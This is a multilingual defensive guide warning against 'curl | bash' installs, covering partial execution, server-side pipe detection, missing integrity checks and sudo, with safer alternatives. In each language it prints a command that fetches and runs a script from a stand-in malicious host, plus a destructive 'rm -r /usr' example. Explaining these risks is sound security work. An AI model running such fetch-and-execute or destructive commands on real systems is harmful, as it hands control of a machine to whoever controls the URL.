    Os servidores detectam o User-Agent do curl ou usam temporização: enviam um comando sleep no início do script — se o bash o estiver executando, a leitura do pipe pausa, o curl bloqueia e o servidor observa o atraso. Execução confirmada. Em seguida, servem um payload diferente. «Vou ler no navegador primeiro» não te protege: o que você lê não é o que foi executado.

  • 🔒
    Sem verificação de integridade

    Sem soma de verificação, sem assinatura. Você confia em DNS, TLS, no CDN e na origem simultaneamente. Um CDN comprometido ou um sequestro BGP entrega malware silenciosamente.

  • 🔗
    Você confia em mais do que pensa

    Não apenas no autor. Você confia no registrador de domínio, no provedor de DNS, no CDN, no hospedeiro, em cada pipeline de CI/CD que construiu o artefato e em cada futuro mantenedor que venha a fazer push naquele repositório.

  • 📋
    Você não consegue reproduzir o que foi executado

    A URL está ativa e é mutável. Não existe nenhum registro do que exatamente foi executado na sua máquina — apenas que algo foi.

  • 🔑
    Adicione sudo e está tudo perdido

    curl ... | sudo bash concede acesso root a quem controlar aquela URL naquele momento. Esse padrão aparece em documentação real publicada. Com frequência.

Casos reais

Scripts de instalação reais, analisados em junho de 2026. Não são ameaças hipotéticas.

sudo no checksum gerenciador de ambiente de desenvolvimento
Baixou um binário para /usr/local/bin via sudo sem verificação de integridade. Se alguma dependência necessária não estivesse presente, o script baixava silenciosamente gigabytes de ferramentas adicionais. Também seguia uma cadeia de redirecionamentos não divulgada entre domínios.
live dev branch no checksum ferramenta de codificação na nuvem
A URL de instalação redirecionava silenciosamente para uma branch de desenvolvimento ativa no GitHub — sem tags de versão, sem fixar versões. Cada commit nessa branch mudava o que os usuários recebiam. O que foi executado ontem não é o que é executado hoje.
no checksum sudo possible agente de IA de código aberto
Baixou um runtime de Python, um runtime de JavaScript e um navegador headless completo (~300 MB). Pode invocar sudo para instalar pacotes do sistema. Após remover o diretório principal, rastros no nível do sistema permanecem.
closed CDN no checksum assistente de código de um grande fabricante de hardware
Faz download de um CDN interno proprietário sem histórico de fonte pública e sem soma de verificação. Não há nada a auditar e nenhuma forma de verificar o que você recebeu.

Faça assim

1. Use um gerenciador de pacotes de verdade

A opção entediante costuma ser a certa. Gerenciadores de pacotes cuidam da integridade, atualizações e desinstalação.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Baixe, inspecione e depois execute

Um passo extra. Dá a você a chance de ler o script e mantém uma cópia local para referência futura.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Registre tudo o que é executado

Se você precisar usar pipe — registre o que foi executado para que possa auditar ou desfazer depois.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Atenção bash -x rastreia apenas os comandos de nível superior. Subprocessos e scripts incluídos com source não aparecerão no log.

4. Verifique a soma de verificação

Se o projeto publicar um hash SHA-256, use-o. Inegociável em máquinas de produção.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Objecção comum

«Mas eu confio no fornecedor, então está tudo bem, não está?»

Confiar no fornecedor é necessário, mas não suficiente. `curl | bash` adiciona superfície de ataque sobre essa confiança: você também confia em DNS, no CDN, no provedor de hospedagem e em qualquer pessoa que possa comprometer a URL entre agora e o momento em que você a executar. Um pacote instalado por meio de um gerenciador de pacotes passa por camadas adicionais de verificação. O fato de o fornecedor ser conceituado não torna o mecanismo de entrega seguro.

⚠ Antipattern di sicurezza

Stop curl | bash

Non eseguiresti il codice di uno sconosciuto senza leggerlo. Eppure, ogni seconda pagina di documentazione finisce con questo comando.

Il problema

Questo è il comando in questione:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Scarica uno script shell da internet e lo esegue immediatamente. Non hai idea di cosa gira. Nemmeno il tuo team. Nemmeno il tuo log di audit.

Perché è pericoloso

  • Bash inizia prima che il download finisca

    La pipe è attiva. Bash riceve ed esegue le righe man mano che arrivano. Interrompi la connessione a metà trasferimento: un comando come rm -r /usr/share/program può essere troncato a rm -r /usr. I comandi sono stati eseguiti, la pulizia no.

  • 🎭
    Il server sa che stai usando una pipe — e può mentire

    I server rilevano il User-Agent di curl o usano la temporizzazione: inviano un comando sleep all’inizio dello script — se bash lo sta eseguendo, la lettura della pipe si mette in pausa, curl si blocca e il server osserva il ritardo. Esecuzione confermata. Poi servono un payload diverso. «Lo leggerò prima nel browser» non ti protegge: quello che leggi non è ciò che è stato eseguito.

  • 🔒
    Nessuna verifica dell’integrità

    Nessun checksum, nessuna firma. Ti fidi di DNS, TLS, del CDN e dell’origine contemporaneamente. Un CDN compromesso o un dirottamento BGP consegna malware in silenzio.

  • 🔗
    Ti fidi di più di quanto pensi

    Non solo dell’autore. Ti fidi del registrar del dominio, del provider DNS, del CDN, dell’hosting, di ogni pipeline CI/CD che ha costruito l’artefatto e di ogni futuro manutentore che farà mai push su quel repository.

  • 📋
    Non puoi riprodurre ciò che è stato eseguito

    L’URL è attiva e mutabile. Non esiste alcun registro di ciò che esattamente è stato eseguito sulla tua macchina — solo che qualcosa è stato eseguito.

  • 🔑
    Aggiungi sudo e la partita è finita

    curl ... | sudo bash concede i privilegi di root a chiunque controlli quell’URL in quel momento. Questo schema appare in documentazione reale pubblicata. Spesso.

Casi reali

Script di installazione reali, analizzati a giugno 2026. Non sono minacce ipotetiche.

sudo no checksum gestore di ambienti di sviluppo
Ha scaricato un binario in /usr/local/bin tramite sudo senza alcuna verifica di integrità. Se una dipendenza richiesta non era presente, lo script scaricava silenziosamente gigabyte di strumenti aggiuntivi. Seguiva inoltre una catena di redirect non divulgata tra domini.
live dev branch no checksum strumento di sviluppo nel cloud
L’URL di installazione reindirizzava silenziosamente a un branch di sviluppo attivo su GitHub — senza tag di versione, senza blocco della versione. Ogni commit su quel branch cambiava ciò che ricevevano gli utenti. Ciò che è stato eseguito ieri non è ciò che viene eseguito oggi.
no checksum sudo possible agente AI open source
Ha scaricato un runtime Python, un runtime JavaScript e un browser headless completo (~300 MB). Può invocare sudo per installare pacchetti di sistema. Dopo aver rimosso la directory principale, rimangono tracce a livello di sistema.
closed CDN no checksum assistente al codice di un importante produttore di hardware
Scarica da un CDN interno proprietario senza cronologia della sorgente pubblica e senza checksum. Non c’è nulla da verificare e nessun modo per controllare ciò che hai ricevuto.

Fai così invece

1. Usa un vero gestore di pacchetti

L’opzione noiosa di solito è quella giusta. I gestori di pacchetti gestiscono integrità, aggiornamenti e disinstallazione.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Scarica, ispeziona e poi esegui

Un passo in più. Ti dà la possibilità di leggere lo script e conserva una copia locale per riferimenti futuri.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Registra tutto ciò che viene eseguito

Se devi usare una pipe — registra ciò che è stato eseguito così puoi fare un’analisi o annullare in seguito.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Nota bash -x traccia solo i comandi di primo livello. I sottoprocessi e gli script inclusi con source non appariranno nel log.

4. Verifica il checksum

Se il progetto pubblica un hash SHA-256, usalo. Non negoziabile su macchine di produzione.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Obiezione comune

«Ma mi fido del fornitore, quindi va bene, no?»

Fidarsi del fornitore è necessario ma non sufficiente. `curl | bash` aggiunge superficie di attacco su quella fiducia: ti fidi anche di DNS, del CDN, del provider di hosting e di chiunque potrebbe compromettere l’URL tra ora e il momento in cui lo esegui. Un pacchetto installato tramite un gestore di pacchetti passa attraverso ulteriori livelli di verifica. Il fatto che il fornitore sia affidabile non rende il meccanismo di consegna sicuro.

⚠ Antywzorzec bezpieczeństwa

Stop curl | bash

Nie uruchomiłbyś kodu obcego bez jego przeczytania. A jednak co druga strona dokumentacji kończy się tym poleceniem.

Problem

O tę komendę chodzi:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Pobiera skrypt powłoki z internetu i natychmiast go wykonuje. Nie wiesz co się uruchamia. Twój zespół też nie. Twój dziennik audytu też nie.

Dlaczego to niebezpieczne

  • Bash uruchamia się zanim pobieranie dobiegnie końca

    Potok działa na żywo. Bash odbiera i wykonuje linie w miarę ich napływania. Przerwij połączenie w trakcie transferu: polecenie takie jak rm -r /usr/share/program może zostać obcięte do rm -r /usr. Polecenia zostały wykonane, czyszczenie nie.

  • 🎭
    Serwer wie, że używasz potoku — i może kłamać

    Serwery wykrywają curl User-Agent lub używają pomiaru czasu: wysyłają polecenie sleep na początku skryptu — jeśli bash je wykonuje, odczyty potoku się wstrzymują, curl blokuje, a serwer obserwuje opóźnienie. Potwierdzono wykonanie. Następnie serwuje inny ładunek. „Najpierw przeczytam to w przeglądarce” nie chroni cię: to, co czytasz, nie jest tym, co zostało uruchomione.

  • 🔒
    Brak weryfikacji integralności

    Brak sumy kontrolnej, brak podpisu. Ufasz DNS, TLS, CDN i serwerowi źródłowemu jednocześnie. Skompromitowane CDN lub przechwycenie BGP dostarcza złośliwe oprogramowanie bez żadnego sygnału.

  • 🔗
    Ufasz więcej, niż myślisz

    Nie tylko autorowi. Ufasz rejestratorowi domeny, dostawcy DNS, CDN, hostingowi, każdemu potokowi CI/CD, który zbudował artefakt, i każdemu przyszłemu opiekunowi, który kiedykolwiek wypchnie do tego repozytorium.

  • 📋
    Nie możesz odtworzyć tego, co zostało uruchomione

    URL jest aktywny i zmienny. Nie istnieje żaden zapis tego, co dokładnie zostało wykonane na twoim komputerze — jedynie to, że coś zostało.

  • 🔑
    Dodaj sudo i po wszystkim

    curl ... | sudo bash nadaje uprawnienia root temu, kto kontroluje ten URL w danym momencie. Ten wzór pojawia się w prawdziwej, opublikowanej dokumentacji. Często.

Z życia

Prawdziwe skrypty instalacyjne, przeanalizowane w czerwcu 2026. To nie są hipotetyczne zagrożenia.

sudo no checksum menedżer środowisk deweloperskich
Pobrano plik binarny do /usr/local/bin przez sudo bez weryfikacji integralności. Jeśli brakowało wymaganej zależności, skrypt po cichu pobierał gigabajty dodatkowych narzędzi. Ponadto podążał za nieujawnionym łańcuchem przekierowań między domenami.
live dev branch no checksum narzędzie do kodowania w chmurze
URL instalacyjny po cichu przekierowywał na aktywną gałąź deweloperską na GitHub — bez tagów wersji, bez przypinania. Każdy commit do tej gałęzi zmieniał to, co otrzymywali użytkownicy. To, co uruchomiono wczoraj, nie jest tym, co uruchamia się dziś.
no checksum sudo possible otwartoźródłowy agent AI
Pobrano środowisko uruchomieniowe Python, środowisko uruchomieniowe JavaScript i pełną przeglądarkę bezgłową (~300 MB). Może wywoływać sudo w celu instalacji paketów systemowych. Po usunięciu głównego katalogu pozostają ślady na poziomie systemu.
closed CDN no checksum asystent kodu od głównego producenta sprzętu
Pobiera z zastrzeżonego wewnętrznego CDN bez publicznej historii źródeł i bez sumy kontrolnej. Nie ma nic do audytu i żadnego sposobu na weryfikację tego, co otrzymałeś.

Zrób to zamiast tego

1. Używaj prawdziwego menedżera pakietów

Nudna opcja jest zazwyczaj właściwą. Menedżery pakietów dbają o integralność, aktualizacje i deinstalację.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Pobierz, sprawdź, potem uruchom

Jeden dodatkowy krok. Daje ci szansę przeczytania skryptu i zachowuje lokalną kopię do przyszłego użytku.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Rejestruj wszystko, co zostaje wykonane

Jeśli musisz używać potoku — zapisz, co zostało uruchomione, abyś mógł to później zaudytować lub cofnąć.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Uwaga bash -x śledzi jedynie polecenia najwyższego poziomu. Podprocesy i dołączane skrypty nie pojawią się w dzienniku.

4. Zweryfikuj sumę kontrolną

Jeśli projekt publikuje skrót SHA-256, użyj go. Niezbędne na maszynach produkcyjnych.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Częsty zarzut

„Ale ufam dostawcy, więc wszystko w porządku, prawdą?”

Zaufanie dostawcy jest konieczne, ale niewystarczające. `curl | bash` dodaje powierzchnię ataku na wierzch tego zaufania: ufasz również DNS, CDN, dostawcy hostingu i każdemu, kto mógłby skompromitować URL między teraz a momentem jego uruchomienia. Pakiet zainstalowany przez menedżera pakietów przechodzi przez dodatkowe warstwy weryfikacji. Renoma dostawcy nie sprawia, że mechanizm dostarczania jest bezpieczny.

⚠ Güvenlik Antipaterni

Stop curl | bash

Bir yabancının kodunu okumadan çalıştırmazsınız. Yine de her ikinci dokümantasyon sayfası bu komutla bitiyor.

Sorun

Söz konusu komut bu:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

İnternetten bir kabuk betiği indirip hemen çalıştırır. Ne çalıştığını bilmiyorsunuz. Ekibiniz de bilmiyor. Denetim günlüğünüz de.

Neden tehlikeli

  • Bash indirme tamamlanmadan başlar

    Pipe canlıdır. Bash, satırları geldikçe alır ve çalıştırır. Aktarım ortasında bağlantıyı keserseniz kısmi yürütme elde edersiniz: rm -r /usr/share/program gibi bir komut rm -r /usr şeklinde kesilebilir. Komutlar çalıştı, temizlik çalışmadı.

  • 🎭
    Sunucu pipe kullandığınızı biliyor — ve yalan söyleyebilir

    Sunucular curl User-Agent’ı algılar ya da zamanlama kullanır: betiğin başında bir sleep komutu gönderir — bash bunu çalıştırıyorsa pipe okumaları duraksatilir, curl bloke olur ve sunucu gecikmeyi gözlemler. Çalıştırma doğrulandı. Ardından farklı bir payload sunar. “Önce tarayıcıda okuyacağım” sizi korumaz: okuduğunuz, çalışanla aynı değildir.

  • 🔒
    Bütünlük doğrulaması yok

    Sağlama toplamı yok, imza yok. DNS, TLS, CDN ve kaynağa aynı anda güveniyorsunuz. Ele geçirilmiş bir CDN ya da BGP ele geçirmesi sessizce kötü amaçlı yazılım teslim eder.

  • 🔗
    Düşundüğünüzden daha fazlasına güveniyorsunuz

    Sadece yazara değil. Alan adı kayıt kuruluşuna, DNS sağlayıcısına, CDN’e, barındırma hizmetine, artefaktı oluşturan her CI/CD pipeline’ına ve o repoya gelecekte push yapacak her bakımcıya güveniyorsunuz.

  • 📋
    Çalışanı yeniden oluşturamazsınız

    URL canlı ve değişkendir. Makinenizde tam olarak neyin çalıştırıldığına dair hiçbir kayıt yoktur — yalnızca bir şeyin çalıştığı bilinir.

  • 🔑
    sudo ekleyin ve iş biter

    curl ... | sudo bash, o URL’yi o an kontrol eden kişiye root yetkisi verir. Bu kalıp gerçek yayımlanmış belgelerde görünür. Sıklıkla.

Gerçek örnekler

Haziran 2026’da analiz edilen gerçek kurulum betikleri. Bunlar varsayımsal tehditler değil.

sudo no checksum geliştirici ortam yöneticisi
Bütünlük denetimi olmadan sudo aracılığıyla /usr/local/bin dizinine bir ikili dosya indirildi. Gerekli bir bağımlılık mevcut değilse betik sessizce gigabaytlarca ek araç indirdi. Ayrıca etki alanları arasında açıklanmamış bir yönlendirme zincirine uydu.
live dev branch no checksum bulut tabanlı kodlama aracı
Kurulum URL’si sessizce GitHub’daki canlı bir geliştirme dalına yönlendirdi — sürüm etiketi yok, sabitleme yok. O dala yapılan her commit, kullanıcıların aldığı şeyi değiştirdi. Dün çalışan bugün çalışanla aynı değil.
no checksum sudo possible açık kaynaklı AI ajanı
Bir Python çalışma zamanı, bir JavaScript çalışma zamanı ve tam bir başsız tarayıcı (~300 MB) indirildi. Sistem paketlerini yüklemek için sudo çağırabilir. Ana dizin kaldırıldıktan sonra sistem düzeyinde izler kalır.
closed CDN no checksum büyük bir donanım üreticisinden kod asistanı
Kamuya açık kaynak geçmişi ve sağlama toplamı olmayan tescilli bir dahili CDN’den indirir. Denetlenecek hiçbir şey yoktur ve aldığınızı doğrulamanın yolu yoktur.

Bunun yerine yapılacaklar

1. Gerçek bir paket yöneticisi kullanın

Sıkıcı seçenek genellikle doğru olandır. Paket yöneticileri bütünlüğü, güncellemeleri ve kaldırma işlemlerini yönetir.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. İndirin, inceleyin, sonra çalıştırın

Bir adım fazla. Betiği okuma fırsatı verir ve gelecekte başvurmak için yerel bir kopya tutar.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Çalıştırılan her şeyi kaydedin

Pipe kullanmak zorundaysanız — ileride denetleyebilmek veya geri alabilmek için çalışanı kaydedin.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Not bash -x yalnızca üst düzey komutları izler. Alt süreçler ve kaynaklanan betikler günlükte görünmez.

4. Sağlama toplamını doğrulayın

Proje bir SHA-256 karması yayımlıyorsa kullanın. Üretim makinelerinde tartışmasız zorunludur.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Yaygın İtiraz

“Ama sağlayıcıya güveniyorum, yani sorun yok, değil mi?”

Sağlayıcıya güvenmek gereklidir ama yeterli değildir. `curl | bash`, bu güvenin üzerine ek saldırı yüzeyi ekler: aynı zamanda DNS’e, CDN’e, barındırma sağlayıcısına ve URL’yi şu an ile çalıştırdığınız an arasında ele geçirebilecek herkese güveniyorsunuz. Bir paket yöneticisi aracılığıyla kurulan paket ek doğrulama katmanlarından geçer. Sağlayıcının saygın olması, teslim mekanizmasını güvenli kılmaz.

⚠ 安全反模式

Stop curl | bash

你不会不读就运行陌生人的代码。然而,每隔一个文档页面都以这条命令结尾。

问题所在

就是这条命令:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

它从互联网下载一个 shell 脚本并立即执行。你不知道运行了什么。你的团队也不知道。你的审计日志也不知道。

为什么危险

  • Bash 在下载完成前就开始执行

    管道是实时的。Bash 在接收到每一行时就立即执行。如果在传输过程中断开连接:比如 rm -r /usr/share/program 这样的命令可能被截断为 rm -r /usr。命令已经执行,清理却没有完成。

  • 🎭
    服务器知道你在使用管道——并且可以撒谎

    服务器可以检测 curl User-Agent,或通过时序判断:在脚本开头发送一个 sleep 命令——如果 bash 正在执行它,管道读取就会暂停,curl 被阻塞,服务器便能观察到这一延迟,从而确认命令正在执行。随后,服务器可以投递不同的载荷。「我先在浏览器里看一眼」并不能保护你:你看到的不是实际运行的。

  • 🔒
    没有完整性验证

    没有校验和,没有签名。你同时信任 DNS、TLS、CDN 和源服务器。被攻陷的 CDN 或 BGP 劫持会悄无声息地投递恶意软件。

  • 🔗
    你信任的远不止你以为的

    不只是作者。你还信任域名注册商、DNS 提供商、CDN、托管服务、构建该制品的每一条 CI/CD 流水线,以及未来所有会向该仓库推送代码的维护者。

  • 📋
    你无法复现到底运行了什么

    URL 是活跃且可变的。没有任何记录能说明你的机器上究竟执行了什么——只知道执行了某些东西。

  • 🔑
    加上 sudo,彻底完了

    curl ... | sudo bash 将 root 权限交给了在那一刻控制该 URL 的任何人。这种用法出现在真实发布的文档中。而且很常见。

真实案例

2026年6月分析的真实安装脚本。这些不是假设性威胁。

sudo no checksum 开发环境管理器
通过 sudo 将二进制文件下载到 /usr/local/bin,没有任何完整性校验。如果所需依赖不存在,脚本会静默拉取数 GB 的额外工具。此外,还跟随了跨域名的未公开重定向链。
live dev branch no checksum 云端编程工具
安装 URL 静默重定向到 GitHub 上的一个活跃开发分支——没有版本标签,没有版本锁定。每次向该分支提交代码,用户获取到的内容就会改变。昨天运行的和今天运行的并不相同。
no checksum sudo possible 开源 AI 智能体
下载了一个 Python 运行时、一个 JavaScript 运行时,以及完整的无头浏览器(约 300 MB)。可能会调用 sudo 安装系统软件包。删除主目录后,系统层面仍会残留痕迹。
closed CDN no checksum 某大型硬件厂商的代码助手
从专有的内部 CDN 下载,没有公开的源码历史,也没有校验和。无从审计,也无法验证你收到的内容。

正确做法

1. 使用正规的包管理器

无聊的选项通常才是正确的。包管理器负责处理完整性验证、更新和卸载。

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. 下载、检查,再运行

只需多一个步骤。给你机会阅读脚本,并保留一份本地副本供日后参考。

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. 记录所有执行内容

如果你非用管道不可——记录下运行了什么,以便事后审计或撤销。

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
注意 bash -x 只跟踪顶层命令。子进程和通过 source 引入的脚本不会出现在日志中。

4. 验证校验和

如果项目发布了 SHA-256 哈希值,请务必使用。在生产环境机器上这是不可妥协的要求。

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

常见质疑

「但我信任这个厂商,所以没问题,对吧?」

信任厂商是必要条件,但并不充分。`curl | bash` 在这种信任之上叠加了额外的攻击面:你同时还信任 DNS、CDN、托管服务提供商,以及在你运行命令前的任意时刻可能危害该 URL 的任何人。通过包管理器安装的软件包会经过额外的验证层。厂商声誉良好,并不意味着交付机制本身是安全的。

⚠ Bezpečnostní antipattern

Stop curl | bash

Nespouštěli byste cizí kód bez přečtení. Přesto každá druhá stránka dokumentace končí tímto příkazem.

Problém

O tento příkaz jde:

$ curl -fsSL https://totally-not-evil.com/install.sh | bash

Stáhne shell skript z internetu a okamžitě ho spustí. Nevíte co běží. Váš tým také ne. Váš audit log také ne.

Proč je to nebezpečné

  • Bash se spustí díve, než se stahování dokončí

    Roura je živá. Bash přijímá a spouští řádky průběžně, jak přicházejí. Přerušte spojení uprostřed přenosu: příkaz jako rm -r /usr/share/program může být zkrácen na rm -r /usr. Příkazy proběhly, úklíd ne.

  • 🎭
    Server ví, že používáte rouru — a může lžít

    Servery detekují curl User-Agent nebo používají měření času: pošlou příkaz sleep na začátku skriptu — pokud ho bash provádí, čtení z roury se pozastaví, curl zablokuje a server zaznaméná prodlevu. Provádění potvrzeno. Pak odešle jiný payload. ‚Nejdřív si to přečtu v prohlížeči‘ vás nechrání: to, co čtete, není to, co se spustilo.

  • 🔒
    Žádné ověření integrity

    Žádný kontrolní součet, žádný podpis. Zároveň důvěřujete DNS, TLS, CDN i zdrojovému serveru. Kompromitované CDN nebo BGP hijack doručí malware bez jediného varování.

  • 🔗
    Důvěřujete víc, než si myslíte

    Nejen autorovi. Důvěřujete registrátorovi domény, poskytovateli DNS, CDN, hostingu, každému CI/CD pipeline, který sestavil artefakt, a každému budoucímu správci, který kdy pushne do toho repozitáře.

  • 📋
    Nemůžete reprodukovat, co proběhlo

    URL je živá a proměnlivá. Neexistuje žádný záznam o tom, co přesně bylo spouštěno na vašem stroji — jen to, že něco bylo.

  • 🔑
    Přidejte sudo a je po všem

    curl ... | sudo bash udělí root přístup tomu, kdo v danou chvíli kontroluje tuto URL. Tento vzor se vyskytuje ve skutečných publikovaných dokumentacích. Často.

Z praxe

Skutečné instalační skripty, analyzované v červnu 2026. Nejsou to hypotetičné hrozby.

sudo no checksum správce vývojového prostředí
Binar ní soubor byl stažen do /usr/local/bin přes sudo bez jakéhokoli ověření integrity. Pokud chěla požadovaná závislost, skript potichu stáhl gigabajty dalších nástrojů. Také sledoval nezveřejněný řetězec přesměrování mezi doménami.
live dev branch no checksum cloudový nástroj pro kódování
Instalační URL potichu přesměrovala na živou vývojovou větev na GitHub — žádné verze tagů, žádné připnutí. Každý commit do této větve změnil to, co uživatelé dostali. Co se spustilo včera, není to, co se spouští dnes.
no checksum sudo possible open-source AI agent
Stáhl Python runtime, JavaScript runtime a plný behlavý prohlížeč (~300 MB). Může volat sudo pro instalaci systémových balíčků. Po odstranění hlavního adresáře zůstávají stopy na úrovni systému.
closed CDN no checksum kódový asistent od velkého výrobce hardwaru
Stáhá z proprietárního interního CDN bez veřejné historie zdrojového kódu a bez kontrolního součtu. Není co auditovat a není způsob, jak ověřit, co jste obdrželi.

Udělejte to takto

1. Použijte skutečný správce balíčků

Nudná možnost je obvykle ta správná. Správci balíčků se starají o integritu, aktualizace a odinstalaci.

# macOS
$ brew install sometool

# Ubuntu / Debian
$ sudo apt install sometool

# Node
$ npm install -g sometool

2. Stáhněte, zkontrolujte, pak spusťte

Jeden krok navíc. Dá vám příležitost přečíst skript a uchová místní kopii pro budoucí referenci.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ cat install.sh        # actually read it
$ bash install.sh

3. Zaznamenejte vše, co se spustí

Pokud musíte rouru použít — zaznamenejte, co proběhlo, abyste to mohli auditovat nebo vrátit.

$ curl -fsSL https://example.com/install.sh | bash -x 2>&1 | tee install.log
Poznámka bash -x sleduje pouze příkazy nejvyšší úrovně. Podprocesy a zdroje skriptů se v záznamu neobjeví.

4. Ověřte kontrolní součet

Pokud projekt zveřejňuje hash SHA-256, použijte ho. Na produkčních strojích je to nepodmíněná nutnost.

$ curl -fsSL https://example.com/install.sh -o install.sh
$ echo "abc123…expectedhash  install.sh" | sha256sum -c
install.sh: OK
$ bash install.sh

Častá námitka

‚Nejdřív si to přečtu v prohlížeči‘ vás nechrání: to, co čtete, není to, co se spustilo.

Důvěřovat dodavateli je nutné, ale nestačí. `curl | bash` přidává na tuto důvěru další útočnou plochu: zároveň důvěřujete DNS, CDN, poskytovateli hostingu a každému, kdo by mohl kompromitovat URL mezi tímto okamžikem a chvílí, kdy příkaz spustíte. Balíček nainstalovaný přes správce balíčků prochází dalšími vrstvami ověřování. To, že je dodavatel renomovaný, z mechanismu doručení bezpečný nástroj nedělá.